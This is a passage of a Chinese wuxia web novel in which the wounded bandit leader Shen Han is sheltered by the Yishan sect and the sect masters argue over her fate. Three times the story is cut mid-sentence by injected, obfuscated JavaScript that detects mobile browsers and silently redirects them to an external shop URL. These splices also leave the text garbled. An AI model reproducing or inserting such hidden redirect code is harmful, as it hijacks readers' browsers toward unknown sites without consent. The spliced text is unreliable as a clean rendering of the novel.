林间挂着银带般的雪,万籁俱寂,二人匆匆穿过后山,却见眼前一个夷山弟子急匆匆赶来。 夷山派掌门只有一个弟子,便是郁珩。自幼行为端方,清辉朗润,待人接物皆合礼数,有松筠之节。加上相貌堂堂,人淡如水,行为举止从不逾矩,是个冷面无私的大师兄。夷山派的弟子敬他爱他,却也有些怕他。 那小跑而来的夷山弟子见到郁珩,脚步都慢下来,仪态也端正了许多。只是一路奔跑难免气喘吁吁,对郁珩道:“大师兄,后山要出大乱子了,您快去瞧瞧吧!” 郁珩目光一凛,“怎么回事?” “郁师姐听说水鬼在那……就……就……杀去苓庐了!” 不用他说完,郁珩就猜到是怎么回事。 郁云笙找他闹过一次,他以掌门准许沈寒留下将人哄走。定是郁云笙心有不甘,去寻沈寒麻烦了。她是掌门独女,平日小性子多,即便掌门准许沈寒留下,只要她想将人赶走,这些师弟师妹哪敢拦着。 郁珩心中一清二楚,沈寒聪慧狡黠,满腹坏点子。能做不归寨的枭雄,自然也不会被郁云笙为难了去。 可想到后山的境况,郁珩的脚步还是不自觉加快了,人虽仍是端方的仪态,脚下却乘了风似的。旁人只道一个白衣翻飞的少侠若清朗的风吹过后山,却也无法从郁珩脸上看出焦急之态。 师弟添油加醋路上大致说了一番怎么回事,郁珩心中了然,只是人到了苓庐门前,看到了眼前一幕,还是心里一紧。 那本是为祸一方的乱世枭雄,如今只穿了件白色的单襦。冰天雪地,夷山弟子都有个毛领子御寒,她瑟缩在地上,露出的肌肤都被冻得通红一片。衣衫上染了血,绽开好似院子里的红梅。 寒风掀起的时候,带着树枝上残存的雪屑。那一刻时空交汇,郁珩仿佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两个人离得很近,沈寒一丝一毫感情波动都落入郁云笙眼底。她看似已经心力交瘁,实则眼里透出些狡黠,用只有二人能听到的声音,妩媚地吐出一句,“你大师兄说,他被我掳去,与我好不快活。玉质高洁,奈何落入泥垢,就算收留我,与我用一齐沉沦,又有何妨?” 这话实在下流,郁云笙也不过是个二八之年的姑娘家,听完脑子轰然炸开,脸颊浮上羞红。 “你竟敢辱没师兄!我跟你拼了!” 沈寒跌跌撞撞躲闪,一副悲愤交加的委屈模样,令郁云笙忍无可忍,随身的朱曦佩剑不出鞘朝沈寒砸去。 沈寒两眼一闭,心中痛快。 砸!狠狠的砸!最好将我劈得伤筋动骨,我也算赖上你们夷山派了! 耳边传来簌簌雪声,意料之中的痛感并没有落下。 沈寒恍惚睁开眼,却没想到郁珩横身挡在自己前,手折一朵红梅,四两拨千斤将郁云笙的朱曦剑弹开。 梅花枝子抖了抖,花瓣纷纷飘落。风雅清举的少侠眉目透着冷清,身形挡住了大片天光。他轻描淡写却仗义出手的动作,惹起了一阵梅香。 沈寒怔住了。 他会出手吗? 郁珩是会为自己出手的人吗? 沈寒还来不及应对这意料之外的变故,在幽馥郁的梅香里,郁珩卸了他那带着毛领子的氅衣,披在了沈寒身上,遮住了她单薄伶仃又不够维持自己体面的单襦。 5. 风雪 氅衣披在身上时,淡淡的香气冲破梅香,似是冷泉夹着雪松,令沈寒一阵清明。 沈寒怔忡在原地,一手扯着氅衣,一手捂着腹部方才不小心撕裂的伤口。一瞬间,她明知道郁珩是不近人情将自己拒之门外的冷面少侠,可还是忍不住想,二人曾有过的种种交锋之下,他的目光是不是也曾在自己身上停留。 只是对于沈寒来说,人情这种东西无用。 爱,喜欢,倾慕,这些破烂玩意沈寒早已不稀罕了。 而怔在一旁的郁云笙怎么也想不明白,大师兄为何对这等妖女施以无谓的善意。 她本想说些什么,却见郁珩侧身,目光平静扫过每一个人。夷山弟子们却能从这目光中读出一些斥意。大家也意识到,无论沈寒如何罪孽滔天,要么就一开始不要收留她。既然收留了她,就不该再把人丢出来,让她衣衫单薄在众人面前受辱,这并非夷山弟子所行之道义。 虽然沈寒没觉得有什么好辱的吧,她经历的腌臜事比这多得多。 沈寒心想把这出戏唱全,于是摆出一副楚楚可怜的姿态,抬眼间却发现郁珩已经望向自己。不知道是不是伤口痛出了幻觉,沈寒甚至觉得郁珩嘴角有一抹笑。 不不不,肯定是幻觉。他有什么好笑的? 沈寒毫不心虚地望回去,对方也的确仍是那张冰块脸。 她刚沉心下去,耳边传来郁珩轻飘飘的一声,“玩够了吧?” “啊?”沈寒没反应过来,下意识应了声。 所以,她那精湛的演技,当众泼脏水的作派,泫然欲泣的神态,早已被郁珩一眼看破了吗?她承认自己有矫揉造作的嫌疑,可郁珩既然看破又为何要为自己挡下郁云笙这一剑? 郁珩见沈寒不知道在地上默默盘算些什么,她那漂亮的眉头紧皱,脸上惨白一片,明明快要冻僵了,却仍沁出细汗。 郁珩遂伸出手,示意搀扶沈寒起身。他举止恰到好处的分寸感,再次给了沈寒当头一棒。 沈寒做山匪流寇这些年,何时被当作过世家淑女? 于是她恍惚地伸出手,搭在了郁珩的掌心,借力站起身来。 郁珩带着她缓缓朝自己被拖出来的小屋走去,身后夷山弟子纷纷噤声,甚至没有人敢妄议此举。只因郁珩是整个夷山的楷模,他的言语举止,无需他人置评。 夷山弟子相信,郁珩奉行的善念,是掌门的一道影子。他从不会出错,更不会立场不清。 踩过屋子门槛时,沈寒下意识回头望了一眼,夷山弟子怔在原处,郁云笙在人群中间紧咬下唇,脸上写满了不甘。 突然间,那种把郁云笙耍得团团转的得意感荡然无存。 屋门合上,将外面的冷气和明亮一同隔绝。 沈寒斜睨着郁珩,上下警惕打量着他,抬手拒绝了他的搀扶。 郁珩道:“一会会有苓庐的师妹替你上药。” 沈寒不似方才那般柔弱,她知道在郁珩面前,自己无需装些什么。她说:“故人重逢,郁少侠别来无恙啊。” 郁珩语气一如既往地古井无波,“确实是故人重逢。” 沈寒总觉得郁珩这句话别有深意,莫不是他在暗指自己与他前几次的过节?不过她能留下,如今看来与郁珩并无关系,这是那慈眉善目的老掌门的意思 沈寒生硬道:“怎么?现在又开始对我大发善心了?” “不过是遵循了师父的意愿。你既然上了夷山,便暂且休养,待到伤好了便速速离去。夷山远离世事纷争,你不属于这里。” “我自然是要离开的。”沈寒被他呛得一肚子窝火,道:“你我正邪有别,你眼下所行之事,等我东山再起,清算不归寨与望仙,我会放夷山一马。” “说清算,不如看看眼下的局势。” 郁珩信手点了桌上的安神香,青烟渺渺飘了起来,隔了半个屋子的距离,他长身玉立,好一个清辉明月的人物。而他眼底的情绪,也氤氲在烟中一同飘散,令沈寒捉摸不清。 郁珩再次望向沈寒的时候,目光中的审视令沈寒不寒而栗。 “县令在朝雪堂与师父议事,自你回到望仙后,县令一直倾向于与夷山合谋击破不归,此次也是为此而来。你虽遭驱逐,但曾将上任郑县令沉水,这是谋害朝廷命官的罪行。如今的县令张固为人清正,落在他手里定是要依法论处的。不仅不归寨追杀你,官兵也在抓捕你。望仙重兵把守,出了城的乡道更是有不归寨的山匪巡逻。我倒是也好奇,曾经不可一世的沈寨主,到底如何东山再起,又该如何清算?” 他说话语气四平八稳,语气里的讥讽却字字刺骨。沈寒没想到,这斯文雅正皮囊下,竟然是这般的牙尖嘴利。 之前把他掳走的时候,他不是哑巴似的吗? 可郁珩所言却是实情。 她本想修养过后离开夷山,可当下局势,留在夷山才是最好的选择。任何地方的人都会背叛,夷山弟子相互却不会。运气好了她甚至可以一直躲在这里,再谋大业。夷山是个遗世独立的门派,自认江湖与庙堂是泾渭分明的,也不会协同县令害自己。 若是能让夷山铁了心的护她,无论是官兵还是山匪,想要捉她必定要和夷山厮杀一番。可她一个引起众怒的水鬼,如何才能让这群迂腐武夫以命相护呢? 沈寒目光停在窗子上。窗外苓庐弟子人影憧憧。她顿时恍然。 如若她与这些弟子情同手足,加入了夷山派,这些夷山弟子必然护她如家人。 沈寒心中了然,转念一想,突然间捕捉到郁珩话里的古怪。 他说自己是“回到望仙”。 沈寒皱眉,目光拼了命想在郁珩身上挖出些什么。这世上应当没几人知道自己的陈年旧事,更不知道她曾是土生土长的望仙人。在外漂泊多年,乡音全改,她会说一口流利的官话。在望仙百姓眼里,她沈寒就是凭空而降的水鬼。 “郁少侠,我们是不是……早就见过?”沈寒试探着问出这句话。她第一次开始感到真的悬心,那大片风雪后的记忆似乎马上随着郁珩的回应败露出来。 郁珩眉目端肃凝然,双唇紧闭,道:“沈寨主想出应对之法了?匪子可是还在夷心堂,等我交人。” “什么?”沈寒眼皮跳了跳。 这……这小白脸竟没把人哄走? 此时敲门声响了,郁珩应了声,薛敢同一个苓庐女弟子推门进来。一看坐在屋里的人是郁珩,薛敢顿时怂得缩了缩脖子,恭敬问好,“大师兄,我……我方才是听说匪子杀来,才去帮忙的。” “知道寸步不离的意思吗?” “知道,知道。我一定两眼长在她身上,一步也不会离开。” 郁珩起身,谪仙似的飘出门外,涵养很好还不忘关门,最后只留给沈寒一个清高肃然的背影。 薛敢望着郁珩背影长舒一口气,转头看向沈寒,发觉这娇滴滴的美人粗放了许多,面色有异,便问:“这是聊了什么?” 沈寒默了默,“好心的少侠,那群……匪子呢?” “匪子?下山了啊。来摔摔砸砸,最后赔了点钱。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353304|199654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >下山了! 沈寒内心握拳喝彩,同时暗骂:好你个郁珩,黑心白莲花,落井下石一把好手。那和蔼慈祥的老头子怎么教出你这么个孽徒。夷山弟子还说自己妖女,天天供着个妖男当师兄,真是一瞎瞎一座山! 那女弟子忙着给沈寒换药,薛敢连忙起身跑到屋外。他是个闲不下来的性子,尤其是嘴,话尤其的多。 隔着窗子,薛敢的声音有些模糊,“你俩知道吗?大师兄今天狠狠地露了一手,雪辞一出,直接‘唰’的一下。那些匪子吓得屁滚尿流。” 他说得夸张,给沈寒换药的女弟子掩唇笑个不停。 沈寒道:“是么?可是他方才还吓唬我呢。” “吓唬你?这不可能。师兄这个人,不苟言笑,更不会吓你。不过我觉得吧,他倒是没那么无趣,多少也有些想逗逗你的意思吧。谁让你以前是个坏蛋呢?再说了人哪能一直符合礼仪规矩,不然这多累,沈寨主你说是不是啊?” 沈寒想,那你是被这黑心冰块骗得不轻。 不过能让不归寨那群人屁滚尿流的下山,还能让他们赔钱,这画面想想都觉得快意。 在院子里同郁云笙争斗时挣开了伤口,女弟子给她上好药后,扶她躺回榻上。 安神香的味道格外暖甜,窗外似乎又开始飘起细碎的雪屑。屋里的暖盆烧得很旺,盖着柔软的被子,沈寒竟难得生出一种安心感。 她太久没有安心过了,疲惫涌上来,眼皮就开始发沉。 郁珩那句话不知为何一直反复回荡在梦境里。 “自从你回到望仙。” 她有多久没有回到望仙了?自八岁离家,已经十年了吧。 家,这个模糊的词语,沈寒已经感到十分陌生。 在梦境中,她好像又回到了十年前。 河神祭典刚刚结束,濛水上被破开的厚冰还没来得及重新冻结。漫天风雪中,沈寒只觉得难以忍受的冷,要将她的骨头都揉碎在风中那般。她背着母亲,仰头望向夷山,草木覆白,毫无生意。 夷山不问外事,更不会问望仙县里这般的惨事。 她觉得自己和母亲要被这寒风吞噬,每一步都格外踉跄。偌大的山中,树木都想化作鬼祟将她吞噬。 那时的沈寒很想问问苍天,到底什么是善,什么是恶。 梦醒了,后背仍沾染着十年前风雪中的寒意。沈寒气喘吁吁,用衣袖擦去眼角的濡湿。她目光停在床尾,郁珩干净的氅衣还躺在那,因自己披过,上面染了一滴血。 就好像白玉有瑕,白雪入泥。 沈寒不屑地笑了笑。 到底何谓善恶呢。她想,自己早已有了答案。 她颤抖着下了床,拿起一旁薛敢准备好的白色练功服,穿戴整齐后,打开了门。 苓庐外,地上堆积了绵密的雪,苓庐的弟子依旧在院子里研磨草药,无论外面是大梁皇帝更迭,还是狄人入侵中原,都不会打扰到他们。他们就守着这座山,守着武林,岁月静好。 坐在门前睡熟了的薛敢惊醒,迷迷糊糊站起身,“你醒了啊。你发了高热,刚刚退下,我师父说你已经没大碍了。你感觉怎么样?” “多谢,我感觉好多了。”沈寒目光放远,雪色绵延千里,似乎整座山都笼在白色里。她不禁喃喃道:“又下雪了啊……” “是啊。下好大一场,瑞雪兆丰年,明年肯定不错。”薛敢揉了揉睡乱了的发,“你想要吃的吗?” 沈寒摇了摇头,“我想见贵掌门一面,还请薛少侠引见。” 6. 争道 夷心堂是夷山派最气派的大堂。背靠夷山高峰,面向山中无尽的草木,是夷山派百年底蕴所在。堂内虽无奢靡之物,仔细看下去,却能发现每一陈设都雅致有趣。 往日夷心堂都是门户大开的,掌门常常站在堂前“夷心问道”的匾额下,承着祖师爷留下的墨宝,看着三百石阶下练剑的弟子。若是有什么事情想要寻掌门,在夷心堂是一定可以找到他。弟子们依赖掌门,掌门也需要弟子们的依赖。 今日有所不同的是,夷心堂紧闭大门,不允许任何人进入。 堂内熏香有千年古松的清气,掌门坐在正位的紫檀木椅上,其他四位夷山宗师分坐在两侧。因沈寒一事,夷山五位宗师齐聚此处,听说了苓庐发生的争执,并将郁珩、郁云笙以及据说将沈寒捞进山门的郑清商一同唤来问话。 郁云笙左边是冰块似的大师兄,右边是书卷气的郑师姐,二人都是缄默无言站在夷心堂中央。她急得想开口,抬眼看见自己的师父瞪了自己一眼,马上老老实实不敢擅动。 郁云笙的师父在宗师里行三,是个出了名护短的。她虽是掌门之女,掌门却觉得将郁云笙交给三师父岳震更为恰当。 岳震是个炮仗脾气,身材高大,蓄着美髯,虎目一瞪便能吓退无数弟子。 三师父岳震见郁云笙委屈,便开口道:“此事也没什么好争的。云笙的性子我最清楚,她虽任性,却没什么歹心。那沈寒本就是个妖孽,此前屡次三番羞辱我派,云笙想要赶她出去,我看没什么错。不仅要赶,还要羞辱着让她连滚带爬下夷山。” 郁云笙连忙帮腔,“是啊!我分明没有拉扯她,她在那里言语相激,我忍无可忍才出手。” 她本想添油加醋多说些,却见三师父又对自己使眼色,只好委屈地抿住嘴,嘟囔着,“反正就是她满肚子阴谋诡计谋害我啊。” 五师父李飞云道:“此女虽伤重,却能撬开苓庐的门,还能与云笙拉扯,留在夷山确为祸患。” 四师父玄宁道:“可若是赶她下山,怕是她再无活路。我夷山派奉行善道,剑心为善。若是能教化她改邪归正,岂不是天大的善举?” 五师父说:“四师兄你是闭关太久,不知道山下的情况。若是夷山派庇护她,便是同朝廷为敌,同那不归寨为敌。哪一方都不是好招惹的啊!” 三师父立马一拍桌,震得五师父抖了抖,“怕他们?也就是我们夷山派奉行避世之道,不然我早就去把那不归寨一锅端了!还有那张固小儿,算什么东西,也敢来寻掌门师兄问话。” 一直坐在一旁玩桌上兰草叶子的二师父解天吟道:“师弟生什么气呢?咱们只是不愿招惹是非,又不是在这两方之中苟活。” 解天吟此人性情自由放荡,岳震素来看他不顺眼,斜睨着道:“二师兄有什么见解?” “依我看,沈寒自己也不愿下山。她想留便留着,夷山清净太久了,沈寒留下才热闹有趣。” “你……你这说的什么胡话!”三师父恼火地站起来。 五师父附和道:“是啊!三师兄说得对,此事绝非儿戏。先不说县令,不归寨找寻无果,上次又未能顺利上山探查,必然已经起了疑心。我派虽不怕他们,留下沈寒却也违背了避世之道。” 四师父顿了顿,“说的也有理。” 二师父说:“避世?避世了怎么行善,你这不是前后矛盾吗?” “那二师兄是质疑祖师爷留下的门规吗?” 夷山派素来清正,同江湖上其他门派不同,在乱世之中奉行避世之道。夷山宗师坚信,唯有不问世事,将江湖和庙堂区分开,才能修炼纯粹的武学。在过去的百年里,不止夷山派,江湖上大多数门派都遵循这个信条。 直到大梁皇帝昏庸,奸臣当道,狄人虎视眈眈,像天策山庄、无间坊这样的门派纷纷入世。 到底是仗剑天涯,卷入世间的洪流,还是一心清修,追求纯粹的武学,已经成为了当今江湖上最为尖锐的矛盾。 这也是夷山派内最尖锐的矛盾。 几个宗师各有脾气,争嘴也是常有的事。掌门始终没有开口,淡淡地望着眼前的一切。 些许阳光透过夷心堂的镂空雕花门洒了下来,堂内烛火微微跳动,如同每个人躁动不安的心。虽没有达成一致,大家却都隐隐感觉到,沈寒的到来或许会掀起巨大的变革,甚至会颠覆整个夷山百年的信仰。 二师父道:“你们可不要忘了,祖师爷夷山悟道前,便是秉着一颗济世救人的心。如今世道不一样了,曾经世人不需要侠客,我们选择避世清修,而今山河破碎,百姓民不聊生,若是没有侠出来捞大家一把,我们这些人又怎能称得上是侠?” 眼见着二师父掷地有声一席话堵得其他几位宗师默不作声,郁云笙焦急道:“二师父,可她毕竟是个恶女,若是盲目救她,反而为百姓招来祸患。” 四师父道:“我倒觉得,即便是极恶,也有教化从善的可能。云笙啊,若不是你将她衣不蔽体拖出苓庐,她又怎会对你动手?” “那……那是因为……”郁云笙急得直跺脚,干脆丢出撒娇的功夫,“反正我就是不喜欢她!” “上天有好生之德。云笙不喜欢便要置她于死地吗?” “那倒不至于……”云笙无助地抬眼望向自己的师父,岳震却捏着眉心,眉头紧锁。她虽厌恶沈寒,却也没想过要她性命。起码别死在自己眼前。 与其说他们争的是沈寒能不能留下,不如说争的是夷山派到底是该做一个遗世独立的门派,还是卷入世事纷争的洪流。 掌门沉沉的望着堂中站着的三个年轻人,道:“清商觉得呢?” 突然被点名,郑清商怔了一下。 她是个十分清丽的美人,眼尾有一颗泪痣,眼波流转间楚楚动人。郑清商自小拜入夷山,没人知道她家里是做什么的,只觉得她是个大家闺秀,满身的书卷气。 郑清商缓缓开口,声音若珠落玉盘,道:“弟子不敢有太多的看法,只记得门规所言,‘心剑合一,一念苍生’,说得是夷山弟子要以苍生为己任。” 郁云笙五内如沸,再不管师父的呵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353305|199654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斥,唤了声,“师姐你怎么也……” 郑清商继续道:“可弟子悟性尚浅,只怕一念为苍生,却放出真正的鬼魅。弟子犹豫难断,还请师父定夺。” 掌门的目光上下打量着郑清商,郑清商心里有些不安,她总觉得掌门的目光能看穿一切。 直到掌门转而望向郁珩,“珩儿,你怎么看?” 郁珩长身玉立,并没有流露出什么情绪,道:“弟子认为,如今天下大乱,夷山如何待沈寒,代表了夷山如何选择势力。不归寨完全不受县衙牵制,殷九其人性情乖张诡谲,其势力定然不可交予,更不可与匪类为伍。再观县令张固,如今大梁山河飘零,狄人入侵,各个边陲之城失守,百姓流离失所。张固一心忠于皇上,却也未能得势。一旦狄人破城,张固未必会在乎百姓,而是选择愚忠。弟子曾与沈寒多次交手,她比寻常女子都要坚韧,似野火春风,穷寇莫追,若是她卷土重来,更是一大祸患。如此看来将她锁在夷山,才是最安全的。” 这一席话十分漂亮,郁珩的态度也十分明确。 沈寒不安全,交给任何人都不安全,与其放这个妖孽自己出去祸祸人间,不如留下。届时到底是关押起来,还是如玄宁所言细心教化,都是后话。 重要的是,这只水鬼绝对不可以离开夷山的视线。 四师父微微笑道:“我觉得可以,让沈寒前来我处,我悉心点化,她定然可以脱离苦海。” “在你眼皮子底下?”三师父气得吹胡子瞪眼,“这般顽固的妖女,岂是你能驯服的?” 掌门见几个人又要吵起来,忙道:“诸位愿不愿意听我一言?” 夷心堂内顿时安静下来。 掌门望着郁珩,他知道郁珩眼中和自己眼中看到的画面是一样的——那漫天风雪下,一个小姑娘单薄的身影。 他太了解自己的徒弟了,郁珩难以释怀,他也难以释怀。 掌门道:“或许,沈寒还能为夷山驱策。” 五师父当即道:“师兄,不可啊!夷山涉足望仙县纷争,只会带来祸患!” 掌门微微抬掌,示意五师父稍安勿躁,“诸位,栖霞会武要到了。过去会武中连连失利,夷山派从此在武林中一蹶不振。沈寒天生怪力,若是加以教化,传授一些外门武学,想来在会武中定能帮夷山取胜。” 这一席话惊得众人瞠目结舌。栖霞会武乃是江湖武林最高的盛会,各个门派会派弟子参加,一举夺魁便能成为名震江湖的武林大派,往后无论是结盟,还是赚取钱财招收弟子,都是大有裨益的。 武林人,要么图一个快意自由,要么就图一个名,夷山自封在深山,已然没了自由,若是连个虚名都没有,这门派关门得了。 只是郁珩也没想到,师父竟然让沈寒参加栖霞会武。曾经夷山派是栖霞会武的常胜将军,却接连七次在栖霞会武中失利,已然对门派产生了重挫。郁珩的父亲也因此选择远游天下,一心寻求至高武学。 这决定如火中取栗,难以抉择,众人没说出个所以然,满怀心事散了。 7. 照影 沈寒前往夷心堂的路上,屋檐洒落光影斑驳,她踩过细碎的光斑,心绪有些沉重。 这不是她第一次走这段路。 曾经她是个手无缚鸡之力的小姑娘,望着夷山的一草一木,只觉得风声鹤唳。如今孑然一身被逼至绝境,她依旧如此狼狈。命运好像和她开了个巨大的玩笑,让她想要尖叫发疯,质问苍天:为什么她必须要殚精竭虑地活着? 曾有一人高高在上对她讲述世间的大道理。他说:每个人都有自己的命数,这是属于沈寒自己的命数。可沈寒不肯信,更不甘心。 于是才有了后面的一切。 薛敢走在前面,少年的背影轻快矫健。注意到身后人的低沉,薛敢转过身,道:“你不用担心,几位宗师并非都不支持你留下来,我也会劝我师父的。” 沈寒愣了愣,“你师父是……” “李飞云宗师,苓庐圣手。你瞧他把你医好,定然会收留你的。” 沈寒深深吐出一口沉重的气,勉强对薛敢勾唇笑了笑。 穿过长长的回廊,三百长阶下,便是夷心堂前的练剑台。 晌午未至,夷山弟子正整齐划一于练剑台前上早功。几百把长剑划破天际,列阵如棋,气势如虹,猎猎山风掠过衣袂,让沈寒这等在俗世中苦苦挣扎的人不禁想,若是他们组成一支正规军,该有何等的威力。 或许夷山派和沈寒曾想的不一样,不动则已,若是倾尽全派之力,怕是不归寨也不能保全。 阳光落在石阶上,映着莹白的光,夷山弟子白衣胜雪,更是让沈寒有些手足无措。她抬手看了看身上一模一样的练功服,一样的干净整洁,散发着淡淡的松香,恍如隔世。 原来干净是这样的感觉,穿在身上也不是自己的,白得恶心,白得刺目。 沈寒有些焦躁,一股无名之火卡在胸腔,她再次抬起头,看到的是阵前之人。 他虽亦是一袭白衣,最朴素的练功服,穿在身上却比旁人多了几分风雅。他看上去是个高不可攀的人,负手而立,目光严峻扫过每一个弟子。整个剑阵为他而展开,他只要站在那里,夷山便不会乱。 沈寒顿住脚步,问薛敢,“你们大师兄不需要上早课吗?” 薛敢这才发现身后人已经落下好一段距离,他小步跑回沈寒身边,挠了挠头道:“大师兄啊,他比我们起的都早,早就完成了自己的早功。毕竟得有人监督其他师弟嘛。” 沈寒呼吸一滞,目光锁在郁珩身上出了神。 是啊,这就是郁珩。他是夷山的秩序,是金规铁律。由他做这个监督之人再合适不过。 可郁珩从不出错,他也是夷山之上干净感最重的人。 衣袖遮掩下的手暗暗蜷缩成拳,沈寒不知道自己在心酸什么,她只好拿俏皮话遮掩过去。“那你呢?看你年纪也没比你大师兄小许多,你怎么不去督课?” “什么叫没小许多,小五岁呢!你知道五岁什么概念吗?他开始学剑的时候,我还在娘胎里呢!” 薛敢说了半天自己也有些心虚,虽说夷山弟子论资排辈,但是最后掌门继承人还得是资质、武功、品行兼修之人。郁珩二十一岁能成为掌门的继承人,除了资质根骨极佳,平日里也定然比其他弟子勤勉。 他挠了挠头道:“哎呀,早功我能不迟到就不错了,我也不想这些。人生还得快意自由才痛快,是不是?” 这话倒是对沈寒的胃口,对眼前不着调的少年顿时多了几分好感。 薛敢嗓门大,刚才大呼小叫之下,许多弟子已然望向长阶之上的二人。奈何被郁珩一通眼神刀攻击,纷纷回归了早课。 只是沈寒隐约也觉得一道冰冷的目光注视着自己。 她回眸望去,恰好与郁珩的视线撞了个正着。 他那双似寒星般的双眼,目光神情裹挟着说不清的情绪。不知为何,沈寒刚压下去的酸涩感重新涌上。 他为何这般看着我?是同情,是怜悯吗?素来光风霁月的夷山少侠,也会怜悯一只水鬼吗? 更让沈寒恼火的是,除了这些,她看到了一些她不能理解的情绪。那人眉宇间的忧伤,让她百思不得其解。 荒唐之下,沈寒嗤笑了一声。 薛敢歪过头,看看郁珩,又见沈寒神色有异,寻思着这二人到底哪来的深仇大恨。“你在笑什么呢?看着有点瘆人。” 郁珩自矜地背过身,继续督课,仿佛和她对视的那一刹那,从未发生。 沈寒嘴角抽了抽,抖出一句,“有病。” “啊啊啊?你骂我吗?” 沈寒快步朝夷心堂走去,仿佛离郁珩越远,这些烦心的情绪便可以更快甩在脑后。她中气十足对薛敢吼出一句,“没骂你!” 薛敢一路追着沈寒过去,“那你骂谁?” “骂黑心莲!” 夷心堂已然恢复了往昔的宁静,殿门大开,越过层层石阶,看到的是掌门那松姿鹤骨的背影。他看上去已过天命之年,整个人透着一股沉稳的松弛感。可沈寒总觉得,此老头乃是孤峰绝仞,不可小觑。 薛敢将人送到,行礼后默默关上了夷心堂大门。 堂内顿时陷入昏暗,关门时掀起一阵刺骨的冷风,烛火幽幽跳动不止。 掌门微微侧身,目光中含着若有若无的笑意,落在沈寒身上也并未让她有所不适。这是尊重的目光,沈寒能读出其中的意思,便也承了掌门的情。 她右脚微微后撤半步,伏身行了个礼。不是江湖之人的抱拳,而是一个标准的女子万福礼。 大梁昌和年间,帝王喜爱山水字画,更是大兴古礼。商贾之家的女子为了洗净身上的铜臭味,其教养往往比寻常人家更重视礼仪。 透过这个礼,沈寒抛却了这个名字,透过漫天的风雪,让掌门看到了十年前的归人。 掌门温声道:“一别多年,沈姑娘可有解惑?” 是一别多年了。自从她背着母亲上夷山,已经十年了。 对于夷山中人,十年无非是草木枯荣,寒暑几更,对沈寒来说,十年是看不到尽头的深夜,她挣扎至今,几番以为自己已经走出来了,再回头她仍在黑暗之中,孤身一人。 那是昌和八年,涝灾的阴影还在望仙人心头萦绕,濛水已经封了一层厚厚的冰。人们为了新一年的风调雨顺,在濛水岸大摆祭台,祭祀河神。 夜幕降临,万家灯火。 那个时候,她还叫沈璧,是父母捧在掌心的璧玉明珠。 她站在夷山下,寒风把她潮湿的衣服吹得冻成一块冰,她控制不住颤抖,脸颊嘴唇都泛起一层青紫。 她背着母亲一步步走上夷山的长阶。 望仙容不下她,更容不下沈家,容不下一座小小的绸缎坊。 沈璧从天黑爬到天明,她已然有些看不清事物,只看到一扇乌黑的大门。 到夷山了吗?沈璧说不清楚,她扛不动母亲了,只能揪着母亲的衣角颤颤巍巍前行。爬山的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353306|199654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候她抚过的青石上,都留下一抹浓重的血痕。 沈璧想,自己应该坚持不到了,于是用最后的力气大声呼救。 开门的是一个夷山派的弟子,这些白衣小少侠都一副样子,沈璧从未在意过。随后她被抬进了夷山。 这才是沈寒初登夷山之时,那时山门威严,每一个人都在审判她。 现在似乎也没什么不同,只是沈寒胆子更肥了。 沈寒无奈地笑了笑,方才端庄的礼节全数崩溃,又露出她山匪的本性。“沈寒已经没有惑了。” “那便好。”掌门简短三个字,却把沈寒的伪装戳了个粉碎。 沈寒不敢把往事深究下去,道:“河中神灵也好,水中恶鬼也罢,都是陈年旧事。不妨我与掌门打开天窗说亮话。我能站在这里,还有同您开口的机会,想来您定然是愿意留我的。夷山派近些年避世,能让您作此决定,我不相信您是一时善心冲昏了头。对我这般恶贯满盈之人,您也不必施与善心。所以有什么条件只要掌门开口,沈寒不会拒绝。” 沈寒见掌门并未神色起伏,连忙补了句,“人性本恶,我不过活得真实明了。掌门若同我说什么改过自新,那还是省省吧。” “沈姑娘何出此言?”掌门语调悠悠然,和沈寒炮仗似的一段话截然不同。 沈寒走到烛台边,抹了一把烛灰在袖间,对整个夷山派所谓的“干净”进行挑衅。 “脏了的练功服你们不会穿,因为脏了就是脏了,穿在身上没法蒙蔽自己视而不见。” 掌门走到沈寒身边,牵起沈寒的衣角,轻轻一搓,那点灰尘轻而易举地散了。 “沈姑娘,只要衣服是白色,总会有干净的那一天。” “你……”沈寒有些难堪,抽回衣角道:“少说这些妄言,我过了听点温柔话就相信的年纪了,骗鬼去吧你。” “沈姑娘不正是水鬼吗?” 黑心莲的亲师父果然也是黑心莲!往日望仙百姓尊她为河神,哪敢当她面说一句水鬼,这老东西岂有此理! 